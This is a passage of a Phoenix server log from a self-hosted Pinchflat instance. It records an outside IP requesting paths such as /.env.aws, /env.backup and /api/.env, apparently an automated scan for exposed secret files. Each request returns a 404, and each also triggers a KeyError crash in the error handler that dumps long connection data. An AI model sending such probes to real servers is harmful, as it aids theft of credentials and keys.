{PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49420}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49420}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3168.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, { (truncated) 21:08:38.638 [info] GET /.env.aws 21:08:38.639 [debug] QUERY OK source="settings" db=0.3ms idle=165.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.639 [debug] QUERY OK source="settings" db=0.2ms idle=59.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.639 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.640 [error] #PID<0.3170.0> running PinchflatWeb.Endpoint (connection #PID<0.3169.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.aws ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3169.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.aws", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49422}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3170.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.aws", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-bB6g104KTkAAGqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3169.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.aws", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49422}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3169.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.aws", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49422}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3170.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.671 [info] GET /env 21:08:38.672 [debug] QUERY OK source="settings" db=0.3ms idle=92.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.673 [debug] QUERY OK source="settings" db=0.2ms idle=40.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.673 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.673 [error] #PID<0.3172.0> running PinchflatWeb.Endpoint (connection #PID<0.3171.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3171.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49430}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3172.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-bJ9KlYhvmkAANqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3171.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49430}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3171.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49430}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3172.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50" (truncated) 21:08:38.740 [info] GET /env.backup 21:08:38.740 [debug] QUERY OK source="settings" db=0.3ms idle=107.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.741 [debug] QUERY OK source="settings" db=0.3ms idle=102.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.741 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.741 [error] #PID<0.3174.0> running PinchflatWeb.Endpoint (connection #PID<0.3173.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3173.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49436}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3174.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-baMtiGFZB4AANsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3173.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49436}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3173.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.backup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49436}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3174.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.792 [info] GET /api/.env 21:08:38.793 [debug] QUERY OK source="settings" db=0.3ms idle=153.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.794 [debug] QUERY OK source="settings" db=0.3ms idle=120.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.794 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.794 [error] #PID<0.3176.0> running PinchflatWeb.Endpoint (connection #PID<0.3175.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49442}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3176.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", 